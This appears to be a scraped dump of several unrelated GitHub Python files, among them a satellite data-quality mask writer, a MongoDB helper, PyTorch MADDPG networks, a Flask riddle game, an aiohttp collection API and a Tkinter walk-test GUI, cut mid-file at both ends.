fid.attrs['sdmf30_compat']=sdmf30_compat\n\n ds = fid.create_dataset(\"orbits\", orbits.shape, dtype=np.int, data=orbits)\n ds.attrs[\"long_name\"] = np.string_(\"Absolute orbit number\")\n\n ds = create_figure_dset(fid, \"combined\", dims=combined.shape, data=combined)\n ds.attrs[\"long_name\"] = np.string_(\"Smooth combined figure (channel 8)\")\n ds.attrs[\"units\"] = np.string_(\"-\")\n ds.attrs[\"description\"] = np.string_(\"Figure [0.0..1.0] that combines all the other figures to estimate a total quality for the pixel (channel 8).\")\n\n ds = create_mask_dset(fid, \"combinedFlag\", dims=combined_flag.shape, data=combined_flag)\n ds.attrs[\"long_name\"] = np.string_(\"Smooth combined flag (channel 8)\")\n ds.attrs[\"units\"] = np.string_(\"-\")\n ds.attrs[\"description\"] = np.string_(\"\"\"Boolean flag that indicates a pixel as good (0), or bad (1). \n It combines all criteria (= `combined' figure thesholded).\"\"\")\n\n ds = create_figure_dset(fid, \"invalid\", dims=inv_smooth.shape, data=inv_smooth)\n ds.attrs[\"long_name\"] = np.string_(\"Smooth invalid flag (channel 8)\")\n ds.attrs[\"units\"] = np.string_(\"-\")\n ds.attrs[\"description\"] = np.string_(\"Boolean flag that indicates if the dark fit has succeeded (1) or failed (0).\")\n\n ds = create_figure_dset(fid, \"saturation\", dims=sat_smooth.shape, data=sat_smooth)\n ds.attrs[\"long_name\"] = np.string_(\"Smooth saturation quality figure (channel 8)\")\n ds.attrs[\"units\"] = np.string_(\"-\")\n ds.attrs[\"description\"] = np.string_(\"\"\"Quality figure [0.0..1.0] that indicates if the dark current is fully saturated (1.0), \n not saturated (0.0), or somewhere inbetween.\n This figure is only nonzero if darks are closer than a few thousand BU removed from saturation.\"\"\")\n\n ds = create_figure_dset(fid, \"sunResponse\", dims=sun_smooth.shape, data=sun_smooth)\n ds.attrs[\"long_name\"] = np.string_(\"Smooth sun response quality figure (channel 8)\")\n ds.attrs[\"units\"] = np.string_(\"-\")\n ds.attrs[\"description\"] = np.string_(\"\"\"Quality figure [0.0..1.0] that gives relative deviation from expected Sun-over-ESM diffuser (state 62) response.\n For instance, a 10%% response is represented as 0.1, a 1000%% response is too.\n \"\"\")\n\n ds = create_figure_dset(fid, \"wlsResponse\", dims=wls_smooth.shape, data=wls_smooth)\n ds.attrs[\"long_name\"] = np.string_(\"Smooth WLS Response quality figure (channel 8)\")\n ds.attrs[\"units\"] = np.string_(\"-\")\n ds.attrs[\"description\"] = np.string_(\"\"\"Quality figure [0.0..1.0] that gives relative deviation from expected WLS (White Light Source) response.\n For instance, a 10%% response is represented as 0.1, a 1000%% response is too.\n \"\"\")\n if sdmf30_compat:\n ds = create_figure_dset(fid, \"chisquare3.0\", dims=chi_smooth.shape, data=chi_smooth)\n ds.attrs[\"long_name\"] = np.string_(\"Smooth dark Chi^2 from SDMF3.0 (channel 8)\")\n ds.attrs[\"units\"] = np.string_(\"-\")\n ds.attrs[\"description\"] = np.string_(\"\"\"Chi-squared from the dark signal fit for channel 8. \n This is SDMF3.0 data, which may be used for backward compatibility.\"\"\")\n\n ds = create_figure_dset(fid, \"noise\", dims=noise_smooth.shape, data=noise_smooth)\n ds.attrs[\"long_name\"] = np.string_(\"Smooth noise criterion from SDMF3.0 (channel 8)\")\n ds.attrs[\"units\"] = np.string_(\"-\")\n ds.attrs[\"description\"] = np.string_(\"\"\"Quality figure [0.0..1.0] that indicates if a pixel exceeds its expected noise \n (from beginning of mission) by a large margin. \n This is SDMF3.0 data, which may be used for backward compatibility.\"\"\")\n else:\n ds = create_figure_dset(fid, \"darkError\", dims=darkerr_smooth.shape, data=darkerr_smooth)\n ds.attrs[\"long_name\"] = np.string_(\"Smooth dark correction error quality figure (channel 8)\")\n ds.attrs[\"units\"] = np.string_(\"-\")\n ds.attrs[\"description\"] = np.string_(\"\"\"Quality figure [0.0..1.0] that indicates if the dark correction error (darks corrected by vardark) \n is too big (1.0), none (0.0), or somewhere inbetween.\"\"\")\n\n ds = create_figure_dset(fid, \"darkResidual\", dims=darkres_smooth.shape, data=darkres_smooth)\n ds.attrs[\"long_name\"] = np.string_(\"Smooth dark fit residual quality figure (channel 8)\")\n ds.attrs[\"units\"] = np.string_(\"-\")\n ds.attrs[\"description\"] = np.string_(\"\"\"Quality figure [0.0..1.0] that indicates if the fit residual is too big (1.0), none (0.0), or somewhere inbetween.\"\"\")\n\n #\n # add version attributes to the database\n #\n\n fid.attrs[\"sdmfVersion\"] = \"3.2.1\"\n fid.attrs[\"swVersion\"] = \"1.0.1\"\n fid.attrs[\"calibVersion\"] = \"1.0.1\"\n fid.attrs[\"dbVersion\"] = \"1.0.0\"\n\n fid.close()\n\n print(\"written.\")\n","repo_name":"pietervandermeer/pyamachy","sub_path":"generate_smooth_pyxelmask.py","file_name":"generate_smooth_pyxelmask.py","file_ext":"py","file_size_in_byte":16333,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"27809409073","text":"import configparser\nimport os\nimport platform\nimport sys\nimport zipfile\nfrom tkinter.filedialog import askopenfilename\nfrom tkinter.messagebox import askyesno, showerror, showinfo\nfrom tkinter.simpledialog import askstring\n\nfrom montydb import MontyClient, set_storage\nfrom pymongo import MongoClient, errors\nfrom pymongo.collection import Collection\n\ndatabase = None\nparts: Collection = None\ntaxonomies: Collection = None\nresults: Collection = None\nstorage_engine = \"flatfile\" if any(platform.win32_ver()) else \"lightning\"\n\n\ndef init_database():\n global database, parts, taxonomies, results\n if \"__compiled__\" in globals():\n application_path = os.path.dirname(sys.argv[0])\n elif __file__:\n application_path = os.path.dirname(__file__)\n config_path = os.path.join(application_path, \"config.ini\")\n container_path = os.path.join(application_path, \"container\")\n config = configparser.ConfigParser()\n if not os.path.exists(config_path) and not os.path.exists(container_path):\n is_remote = askyesno(\n \"Connect to remote DB?\",\n \"Do you want to connect to a hosted MongoDB instance?\",\n )\n connection_url = \"\"\n if is_remote:\n connection_url = askstring(\n \"Remote URL\",\n \"Please enter the connection url (with user and password, stored locally in plain text): \",\n )\n try:\n database = MongoClient(connection_url, serverSelectionTimeoutMS=2000)\n database.server_info()\n except errors.ServerSelectionTimeoutError as err:\n showerror(\"Connection Error\", \"Could not connect to database. Exiting.\")\n exit(0)\n else:\n database = MontyClient(os.path.join(application_path, \"db\"))\n if askyesno(\"Import\", \"Import an existing database?\"):\n import_data = askopenfilename()\n if import_data:\n with zipfile.ZipFile(import_data, \"r\") as zip_ref:\n zip_ref.extractall(os.path.join(application_path, \"db\"))\n set_storage(\n os.path.join(application_path, \"db\"),\n storage=storage_engine,\n use_bson=True,\n map_size=\"1073741824\",\n )\n else:\n showinfo(\n \"Import\", \"No file selected, continuing with empty database\"\n )\n config[\"db\"] = {\"is_remote\": is_remote, \"connection_url\": connection_url}\n with open(config_path, \"w\") as configfile: # save\n config.write(configfile)\n elif os.path.exists(container_path):\n set_storage(\n os.path.join(application_path, \"db\"),\n storage=storage_engine,\n use_bson=True,\n map_size=\"1073741824\",\n )\n database = MontyClient(os.path.join(application_path, \"db\"))\n else:\n config.read(config_path)\n if config[\"db\"][\"is_remote\"] and config[\"db\"][\"connection_url\"] != \"\":\n try:\n database = MongoClient(\n config[\"db\"][\"connection_url\"], serverSelectionTimeoutMS=2000\n )\n database.server_info()\n except errors.ServerSelectionTimeoutError as err:\n showerror(\"Connection Error\", \"Could not connect to database. Exiting.\")\n exit(0)\n else:\n set_storage(\n os.path.join(application_path, \"db\"),\n storage=storage_engine,\n use_bson=True,\n map_size=\"1073741824\",\n )\n database = MontyClient(os.path.join(application_path, \"db\"))\n\n database = database[\"cls_cad_backend\"]\n parts = database[\"parts\"]\n taxonomies = database[\"taxonomies\"]\n results = database[\"results\"]\n\n\ndef upsert_part(part: dict):\n global parts\n parts.replace_one({\"_id\": part[\"_id\"]}, part, upsert=True)\n\n\ndef upsert_taxonomy(taxonomy: dict):\n global taxonomies\n taxonomies.replace_one({\"_id\": taxonomy[\"_id\"]}, taxonomy, upsert=True)\n\n\ndef upsert_result(result: dict):\n global results\n results.replace_one({\"_id\": result[\"_id\"]}, result, upsert=True)\n\n\ndef get_all_parts_for_project(forge_project_id: str):\n global parts\n return parts.find({\"meta.forgeProjectId\": forge_project_id})\n\n\ndef get_all_projects_in_results():\n global results\n return results.distinct(\"forgeProjectId\")\n\n\ndef get_all_result_ids_for_project(forge_project_id: str):\n global results\n return results.find(\n {\"forgeProjectId\": forge_project_id}, {\"interpretedTerms\": 0}\n ).sort(\"timestamp\", -1)\n\n\ndef get_result_for_id(result_id: str):\n global results\n return results.find_one({\"_id\": result_id})\n\n\ndef get_taxonomy_for_project(forge_project_id: str):\n global taxonomies\n return taxonomies.find_one({\"_id\": forge_project_id})\n","repo_name":"tudo-seal/CLS-CAD","sub_path":"applications/cls-cad-backend/cls_cad_backend/database/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":4962,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"32"} +{"seq_id":"15153550878","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.distributions import Normal\n\nclass MADDPGActor(nn.Module):\n \"\"\"An Actor in MADDPG Algorithm\"\"\"\n def __init__(self, state_size=24, action_size=2, seed=0, hidden_sizes=[64, 64]):\n \"\"\"Initialize parameters and build model.\n Params\n ======\n state_size (int): Dimension of each state\n action_size (int): Dimension of each action\n hidden_sizes (list): List of Hidden Layers' size\n seed (int): Random seed\n \"\"\"\n super(MADDPGActor, self).__init__()\n self.seed = torch.manual_seed(seed)\n\n self.state_size = state_size\n self.action_size = action_size\n self.bn1 = nn.BatchNorm1d(hidden_sizes[0])\n\n # A Generic Fully Connection Network.\n layers = zip([state_size] + hidden_sizes, hidden_sizes + [action_size])\n self.fcs = [nn.Linear(h_size[0], h_size[1]) for h_size in layers]\n self.fcs = nn.ModuleList(self.fcs) \n\n def forward(self, state):\n \"\"\"Build a network that maps state -> action values.\"\"\"\n x = state\n # x = self.bn1(state)\n x = F.leaky_relu(self.bn1(self.fcs[0](x))) # batchnorm only on first H output\n\n for layer in self.fcs[1:-1]:\n x = F.leaky_relu(layer(x))\n return torch.tanh(self.fcs[-1](x))\n\nclass MADDPGCentralCriticNetwork(nn.Module):\n \"\"\"A Centeralized Q Network\"\"\"\n def __init__(self, state_size=24, action_size=2, seed=0, hidden_sizes = [128, 128, 64]):\n \"\"\"Initialize parameters and build model.\n Params\n ======\n state_size (int): Dimension of each state\n action_size (int): Dimension of each action\n hidden_sizes (list): List of Hidden Layers' size\n number_of_agents (int): Number of Agents in the System\n seed (int): Random seed\n \"\"\"\n super(MADDPGCentralCriticNetwork, self).__init__()\n self.seed = torch.manual_seed(seed)\n\n self.state_size = state_size\n self.action_size = action_size\n # self.input_size = (state_size+action_size) * 2\n\n self.bn1 = nn.BatchNorm1d(128)\n # self.bn2 = nn.BatchNorm1d(state_size)\n\n self.preprocess_fcStates = nn.Linear(state_size*2, 128)\n # self.preprocess_fc12 = nn.Linear(action_size, 64)\n\n # self.preprocess_fc21 = nn.Linear(state_size, 64)\n # self.preprocess_fc22 = nn.Linear(action_size, 64)\n\n # A Generic Fully Connection Network.\n layers = zip([128+2+2] + hidden_sizes, hidden_sizes + [1])\n self.fcs = [nn.Linear(h_size[0], h_size[1]) for h_size in layers]\n self.fcs = nn.ModuleList(self.fcs) \n\n def forward(self, states, actions):\n \"\"\"Build a network that maps (X, A) to values.\"\"\"\n # states = states.view(-1, 2, 24)\n states = states.view(-1, 48)\n # state1 = states[:, 0, :]\n # state2 = states[:, 1, :]\n\n # actions = actions.view(-1, 2, 2)\n actions = actions.view(-1, 4)\n # action1 = actions[:, 0, :]\n # action2 = actions[:, 1, :]\n\n # print('state1', state1.shape)\n # print('state2', state2.shape)\n # print('action1', action1.shape)\n # print('action2', action2.shape)\n\n # action1 = F.leaky_relu(self.preprocess_fc12(action1))\n\n # state2 = F.leaky_relu(self.preprocess_fc21(self.bn2(state2)))\n # action2 = F.leaky_relu(self.preprocess_fc22(action2))\n\n # print('AFTER')\n\n # print('state1', state1.shape)\n # print('state2', state2.shape)\n # print('action1', action1.shape)\n # print('action2', action2.shape)\n\n # x = torch.cat([state1, action1, state2, action2], axis = 1)\n\n states = F.leaky_relu(self.bn1(self.preprocess_fcStates(states)))\n\n x = torch.cat([states, actions], 1)\n\n for layer in self.fcs[:-1]:\n x = F.leaky_relu(layer(x))\n return self.fcs[-1](x)","repo_name":"taesiri/udacity_drlnd_project3","sub_path":"brains.py","file_name":"brains.py","file_ext":"py","file_size_in_byte":3629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"40364279114","text":"from django.db import models\nfrom answers.models import Answers\n\n# Create your models here.\n\n#class Answers(models.Model):\n# question_id = models.ForeignKey(Questionnaire)\n# answer = models.TextField('Ответ', default=None, max_length=30)\n\n\nclass Questionnaire(models.Model):\n Cardio_1 = 'Cardiology_1'\n Cardio_2 = 'Cardiology_2'\n\n question = models.TextField('Вопрос')\n answer1 = models.ForeignKey(Answers, related_name='Answer_1')\n answer2 = models.ForeignKey(Answers, related_name='Answer_2')\n answer3 = models.ForeignKey(Answers, related_name='Answer_3')\n answer4 = models.ForeignKey(Answers, related_name='Answer_4')\n\n CORRECT_ANSWER = (\n (answer1, answer1),\n (answer2, answer2),\n (answer3, answer3),\n (answer4, answer4)\n\n )\n\n correct_answer = models.CharField(\n null=True, max_length=50,\n default=None,\n choices=CORRECT_ANSWER,\n verbose_name='Please choose correct answer'\n )\n\n CATEGORY = (\n (Cardio_1, 'Cardiology_1'),\n (Cardio_2, 'Cardiology_2')\n )\n\n category = models.CharField(\n null=True, max_length=100,\n default=None,\n choices=CATEGORY, verbose_name='Please choose category of question'\n )\n\n\n\n\n# class Questionnaire(models.Model):\n# YES_S = 'Yes'\n# NO_S = 'No'\n#\n# Cardio_1 = 'Cardiology_1'\n# Cardio_2 = 'Cardiology_2'\n#\n# question = models.TextField('Вопрос')\n#\n# ANSWER = (\n# (YES_S, 'Yes'),\n# (NO_S, 'No'),\n# )\n# answer = models.CharField(\n# null=True, max_length=100,\n# default=None,\n# choices=ANSWER, verbose_name='Do you?')\n#\n# CATEGORY = (\n# (Cardio_1, 'Cardiology_1'),\n# (Cardio_2, 'Cardiology_2')\n# )\n#\n# category = models.CharField(\n# null=True, max_length=100,\n# default=None,\n# choices=CATEGORY, verbose_name='Please choose category of question'\n# )","repo_name":"alexzinoviev/MobileDoc","sub_path":"questionnaire/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"3681494428","text":"linha = 1\ncoluna = 1\nwhile linha <= 10:\n while coluna <= 10:\n print(linha * coluna, end = \"\\t\") # \\t atua como a tecla tab, deixa mais organizado\n coluna += 1\n linha += 1\n print()\n coluna = 1\n\nx = 1\ncont = 0\nwhile x < 3:\n y = 0\n while y <= 4:\n cont += 1\n print(cont)\n y = y + 1\n x = x + 1\n\nfora = 5\nwhile fora > 0:\n dentro = 0\n while dentro < fora:\n print(\"oi\")\n dentro = dentro + 1\n fora = fora - 1\n","repo_name":"Daniel-Sottovia/Coursera","sub_path":"Introdução_à_Ciência_Parte_1/Semana7/Semana7.py","file_name":"Semana7.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39342789457","text":"import os\nimport json\nfrom datetime import datetime\nfrom random import shuffle\nfrom flask import Flask, session, redirect, url_for, request, render_template, jsonify\n\n# Custom .py\nimport helper.helper as helper\nimport riddles.riddle as riddle\n\napp = Flask(__name__)\n\napp.config['SECRET_KEY'] = os.environ.get(\"SECRET_KEY\")\n\n\n@app.route('/')\ndef index():\n app_data = helper.read_json('data/system/app_data.json')\n app_data = app_data['1.4'][0][\"members\"]\n # Render index.html by default\n return render_template(\"index.html\", members=app_data, page_title=\"Riddle Game\")\n\n\n\"\"\" Create profile \"\"\"\n\n\n@app.route('//create_profile', methods=[\"POST\"])\ndef create_profile(user_name):\n\treturn helper.create_profile_data(user_name)\n\n\n\"\"\" Log in \"\"\"\n\n\n@app.route('//log_in', methods=[\"GET\"])\ndef log_in(user_name):\n profiles = helper.read_txt(\"data/profiles/all-profiles.txt\")\n profile = user_name.lower() + \"\\n\"\n if profile in profiles:\n session['user'] = {'user_name': user_name}\n return jsonify(helper.read_json(f\"data/profiles/{user_name}/{user_name}.json\"))\n else:\n return jsonify(\"no profile\")\n\n\n\"\"\" Log out \"\"\"\n\n\n@app.route('/logout')\ndef logout():\n session.pop('user')\n return redirect(url_for('index'))\n\n\n\"\"\" Riddles Game Setting \"\"\"\n\n\n@app.route('//riddle-g-setting')\ndef riddle_setting(user_name):\n if 'user' in session:\n if user_name == session['user']['user_name']:\n riddle_profiles = helper.read_txt(\n f\"data/profiles/{user_name}/riddle_game/riddle_profiles.txt\")\n else:\n return redirect(url_for('index'))\n else:\n return redirect(url_for('index'))\n return render_template(\"riddle-g-setting.html\",\n user_name=user_name, riddle_profiles=riddle_profiles, page_title=\"Riddle Game Setting\")\n\n\n# JSON requests to create save\n\n@app.route('/postjson//riddle-g-setting', methods=[\"POST\"])\ndef parse_setting(user_name):\n data = request.get_json(force=True)\n profiles = helper.read_txt(\n f\"data/profiles/{user_name}/riddle_game/riddle_profiles.txt\")\n profile = data[\"riddle_game_data\"][\"riddle_profile_name\"] + \"\\n\"\n finished_games = helper.read_txt(\n f\"data/profiles/{user_name}/riddle_game/finished_riddles.txt\")\n if profile in profiles or profile in finished_games:\n return jsonify(profile)\n # Create new game\n riddle.create_riddle_game(data)\n return jsonify(data)\n\n\n\"\"\" Riddles Game \"\"\"\n\n\n@app.route('///riddle-game', methods=[\"GET\"])\ndef get_results(user_name, riddle_profile):\n if 'user' in session:\n if user_name == session['user']['user_name']:\n riddle_profiles = helper.read_txt(\n f\"data/profiles/{user_name}/riddle_game/riddle_profiles.txt\")\n profile = helper.read_json(\n helper.profile(user_name, riddle_profile))\n profile = profile[\"game\"][0]\n if profile[\"mods\"] == \"limited\":\n return render_template(\"riddle-game.html\",\n user_name=user_name,\n riddle_profiles=riddle_profiles,\n riddle_profile=riddle_profile,\n tries=int(profile[\"tries\"]),\n page_title=\"Riddle Game\")\n else:\n # Render riddle-game template by default\n return render_template(\"riddle-game.html\",\n user_name=user_name,\n riddle_profiles=riddle_profiles,\n riddle_profile=riddle_profile,\n tries=int(0),\n page_title=\"Riddle Game\")\n return redirect(url_for('index'))\n\n# JSON POST to play the game\n\n\n@app.route('/postjson///riddle-game', methods=[\"POST\", \"GET\"])\ndef parse_answer(user_name, riddle_profile):\n # Main POST request for riddle-game\n if request.method == \"POST\":\n post_data = request.get_json(force=True)\n if post_data[\"id\"] == \"answer\":\n data = riddle.riddle_game(user_name, riddle_profile, post_data)\n return jsonify(data)\n elif post_data[\"id\"] == \"skip_question\":\n data = riddle.skip_question(user_name, riddle_profile)\n return jsonify(data)\n else:\n data = riddle.delete_question(user_name, riddle_profile)\n return jsonify(data)\n data = helper.read_json(helper.profile(user_name, riddle_profile))\n return jsonify(data)\n\n\n# Statistics for Ridddle game\n\n@app.route('//statistics', methods=[\"GET\"])\ndef show_statistics(user_name):\n if 'user' in session:\n if user_name == session['user']['user_name']:\n user_profile = helper.read_json(\n f\"data/profiles/{user_name}/{user_name}.json\")\n finished_games = user_profile[f\"{user_name}\"][0][\"finished_riddles\"]\n riddle_profiles = helper.read_txt(\n f\"data/profiles/{user_name}/riddle_game/riddle_profiles.txt\")\n statistics = helper.read_json(\"data/riddle-game/statistics.json\")\n statistics = sorted(statistics['profiles'],\n key=lambda k: k['right_answers'], reverse=True)\n return render_template(\"statistics.html\",\n finished_games=finished_games,\n riddle_profiles=riddle_profiles,\n user_name=user_name,\n statistics=statistics[:10],\n page_title=\"Statistics\")\n return redirect(url_for('index'))\n\n\n\"\"\" Errors \"\"\"\n\n# 404\n@app.errorhandler(404)\ndef page_not_found(e):\t\n helper.write_to_txt(\"data/system/error-log.txt\", \"a\", f\"{e}\" + '\\n')\n return render_template('404.html'), 404\n\n# 500\n\n\n@app.errorhandler(500)\ndef internal_server_error(e):\n helper.write_to_txt(\"data/system/error-log.txt\", \"a\", f\"{e}\" + '\\n')\n return render_template('500.html'), 500\n\n\"\"\" App data \"\"\"\n\n\n@app.route('/app_data')\ndef get_app_data():\n app_data = helper.read_json('data/app_data.json')\n return jsonify(app_data)\n\n\nif __name__ == '__main__':\n app.run(host=os.getenv('IP'),\n port=os.getenv('PORT'),\n debug=os.environ.get(\"DEVELOPMENT\"))\n","repo_name":"MiroslavSvec/project-3","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6505,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"13127531466","text":"from pathlib import Path\n\nfrom aiohttp import web\nimport aiohttp_jinja2\nimport jinja2\n\nfrom WebApplication.CollectionManager import CollectionManager\nfrom WebApplication.DataStorage import DataStorage\n\n\nroutes = web.RouteTableDef()\n\n\ndef __get_collection_storage(request: web.Request, name: str) -> DataStorage:\n manager: CollectionManager = request.app['collection_manager']\n return manager.data_storage(name)\n\n\n@routes.get('/')\nasync def root(_request: web.Request) -> web.Response:\n raise web.HTTPFound(location='/collections')\n\n\n@routes.get('/collections')\n@aiohttp_jinja2.template('collections.jinja2')\nasync def collections(request: web.Request) -> dict:\n manager: CollectionManager = request.app['collection_manager']\n return {'collections': manager.collections()}\n\n\n@routes.get('/collection/{collection}')\n@aiohttp_jinja2.template('collection.jinja2')\nasync def collection(request: web.Request) -> dict:\n name = request.match_info['collection']\n storage: DataStorage = __get_collection_storage(request, name)\n\n return {'name': name, 'collection': list(storage.get_objects())}\n\n\n@routes.post('/collection/{collection}/add')\nasync def put_object(request: web.Request) -> web.Response:\n data = await request.post()\n\n name = request.match_info['collection']\n storage: DataStorage = __get_collection_storage(request, name)\n\n storage.put_object(data['original'], {\n 'translation': data['translation'],\n 'transcription': data['transcription'],\n })\n\n return web.HTTPFound(location=f'/collection/{name}')\n\n\n@routes.get('/api/collections')\nasync def collections(request: web.Request) -> web.Response:\n manager: CollectionManager = request.app['collection_manager']\n return web.json_response(manager.collections())\n\n\n@routes.get('/api/collection/{collection}')\nasync def collection(request: web.Request) -> web.Response:\n manager: CollectionManager = request.app['collection_manager']\n storage: DataStorage = manager.data_storage(request.match_info['collection'])\n\n return web.json_response(list(storage.get_objects()))\n\n\n@routes.get('/api/collection/{collection}/{object}')\nasync def get_object(request: web.Request) -> web.Response:\n storage: DataStorage = __get_collection_storage(request, request.match_info['collection'])\n return web.json_response(storage.get_object(request.match_info['object']))\n\n\n@routes.post('/api/collection/{collection}')\nasync def put_object(request: web.Request) -> web.Response:\n data = await request.json()\n\n storage: DataStorage = __get_collection_storage(request, request.match_info['collection'])\n storage.put_object(data.pop('original'), data)\n\n return web.Response(status=web.HTTPOk.status_code)\n\n\n@routes.delete('/api/collection/{collection}/{object}')\ndef delete_object(request: web.Request) -> web.Response:\n storage: DataStorage = __get_collection_storage(request, request.match_info['collection'])\n storage.delete_object(request.match_info['object'])\n\n return web.Response(status=web.HTTPOk.status_code)\n\n\nif __name__ == '__main__':\n settings = {\n 'port': 8080,\n 'data_directory': Path(__file__).parent.parent\n }\n\n templates_directory = Path(__file__).parent.joinpath('templates')\n\n app = web.Application()\n app['collection_manager'] = CollectionManager(settings['data_directory'])\n\n aiohttp_jinja2.setup(app, loader=jinja2.FileSystemLoader(str(templates_directory)))\n app.add_routes(routes)\n\n web.run_app(app, port=settings['port'])\n","repo_name":"aivitsrimer/RA_Python","sub_path":"09/WebApplication/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"31069003126","text":"from funciones import varianza\r\nfrom descarga import*\r\nfrom preprocesado import*\r\nfrom tkinter import*\r\nfrom tkinter import messagebox\r\nimport time\r\nimport os\r\nimport pandas as pd\r\nimport tkinter.ttk as Ttk\r\n\r\nif (os.path.isfile('DataBase.csv') == False): #Se comprueba si existe el archivo \"BaseDatos.csv\" y si no se crea\r\n data = pd.DataFrame(columns=['idPaciente', 'Fecha','Longitud','Duracion','Distancia_Total','Ult_tramo','HR_medio','HR_max','RR_medio','RR_max','V_media','V_max'])\r\n data.to_csv('DataBase.csv', header=True, index=False)\r\n\r\nif (os.path.isfile('DataBase.xlsx') == False): #Se comprueba si existe el archivo \"BaseDatos.csv\" y si no se crea\r\n data = pd.DataFrame(columns=['idPaciente', 'Fecha','Longitud','Duracion','Distancia_Total','Ult_tramo','HR_medio','HR_max','RR_medio','RR_max','V_media','V_max'])\r\n data.to_excel('DataBase.xlsx', header=True, index=False)\r\n\r\ndef pacientes():\r\n messagebox.showinfo(\"Info\", \"Se ha detectado 1 prueba(s)\")\r\n root = Tk()\r\n root.iconbitmap('girl_walking.ico')\r\n root.geometry(\"400x220\")\r\n root.title(\"Identificación de las pruebas\")\r\n etiqueta=Label(root,text=\"Introduce los números de identificación de los pacientes\",font=(\"Calibri\",13),fg=\"black\").place(x=20,y=10)\r\n etiquetas=((Label(root, text=\"Prueba número \"+str(0+1)+\":\", font=(\"Calibri\", 12), fg=\"black\").place(x=20, y=10+(0+1)*30)))\r\n variable=StringVar()\r\n entradas=(Entry(root,textvariable=variable))\r\n entradas.place(x=200,y=10+(0+1)*30)\r\n\r\n etiquetas=((Label(root, text=\"Prueba número \"+str(1+1)+\":\", font=(\"Calibri\", 12), fg=\"black\").place(x=20, y=10+(1+1)*30)))\r\n variable=StringVar()\r\n entradas=(Entry(root,textvariable=variable))\r\n entradas.place(x=200,y=10+(1+1)*30)\r\n\r\n etiquetas=((Label(root, text=\"Prueba número \"+str(2+1)+\":\", font=(\"Calibri\", 12), fg=\"black\").place(x=20, y=10+(2+1)*30)))\r\n variable=StringVar()\r\n entradas=(Entry(root,textvariable=variable))\r\n entradas.place(x=200,y=10+(2+1)*30) \r\n \r\n buttonOK = Button(root, text=\"OK\",command=root.quit).place(x=200,y=200)\r\n \r\n root.mainloop()\r\n\r\ndef buscaHistorial(idPaciente):\r\n # messagebox.showinfo('Info','No se ha encontrado en la base de datos ninguna prueba con el ID indicado.')\r\n identificacion = idPaciente\r\n datos = pd.read_csv('DataBase.csv')\r\n resultado = datos[datos.idPaciente == identificacion] #Filas de la base de dato con el mismo paciente\r\n if len(resultado==0):\r\n tkinter.messagebox.showinfo(\"Info\", \"No hay datos del paciente seleccionado\")\r\n else:\r\n ventanaHistorial = Tk() #Si se encuentran resultados del paciente buscado se abre una\r\n ventanaHistorial.geometry(\"450x150+200+200\") #ventana para seleccionar la prueba que se quiere visualizar\r\n ventanaHistorial.title(\"Historial del paciente\")\r\n ventanaHistorial.iconbitmap('girl_walking.ico')\r\n etiqueta = Label(ventanaHistorial, text=\"Resultados encontrados para el paciente: \"+identificacion,\r\n font=(\"Calibri\", 13), fg=\"black\").place(x=20, y=10)\r\n\r\n etiqueta = (Label(ventanaHistorial, text='Fecha y hora de la prueba: ',\r\n font=(\"Calibri\", 12),\r\n fg=\"black\").place(x=20, y=60))\r\n \r\n def selecVisual():\r\n seleccionado = combo.get()\r\n is_selecionado = resultado.loc[:, 'Fecha'] == seleccionado\r\n resultado_selecionado = resultado.loc[is_selecionado].values.tolist() #Fila de la base de datos de la prueba seleccionada\r\n rootVis = Tk()\r\n rootVis.geometry(\"300x150\")\r\n rootVis.title(\"Resultados\")\r\n rootVis.iconbitmap('girl_walking.ico')\r\n etiqueta = Label(rootVis, text=\"Seleccione lo que quiere visualizar:\",font=(\"Calibri\", 13), fg=\"black\").place(x=30, y=30)\r\n b1 = Button(rootVis, text=\"RESULTADOS\",command=rootVis.quit).place(x=50, y=100)\r\n b2 = Button(rootVis, text=\"REVISIÓN\",command=rootVis.quit).place(x=170, y=100)\r\n\r\n combo = Ttk.Combobox(ventanaHistorial,textvariable='Fecha y hora de la prueba:', values=resultado.iloc[:,1].values.tolist() )\r\n combo.place(x=200, y=62)\r\n boton = (Button(ventanaHistorial, text=\"Obtener resultados\",command=lambda:selecVisual))\r\n boton.place(x=80, y=100)\r\n\r\n \r\nventana=Tk()\r\nventana.geometry(\"450x420+200+200\")\r\nventana.title(\"PD6MM\")\r\nventana.iconbitmap('girl_walking.ico')\r\nCanvas1=Canvas(ventana)\r\nCanvas1.pack(fill=\"x\")\r\nCanvas1.config(bd=3)\r\nCanvas1.config(relief=\"sunken\")\r\nCanvas1.config(width=400,height=130)\r\nCanvas2=Canvas(ventana)\r\nCanvas2.pack(fill=\"x\")\r\nCanvas2.config(bd=3)\r\nCanvas2.config(relief=\"sunken\")\r\nCanvas2.config(width=400,height=160)\r\nCanvas3=Canvas(ventana)\r\nCanvas3.pack(fill=\"x\")\r\nCanvas3.config(bd=3)\r\nCanvas3.config(relief=\"sunken\")\r\nCanvas3.config(width=400,height=100)\r\n#------------------------------------------------------------------------------------------\r\n###### Zona de descarga de datos ######\r\n(puertos_disponibles, hay_puerto)=scan()\r\netiqueta= Label(Canvas1,text=\"DESCARGA DE DATOS:\",font=(\"Calibri\",12),fg=\"black\").place(x=10,y=10)\r\netiqueta= Label(Canvas1,text=\"Introduce el nombre del nuevo 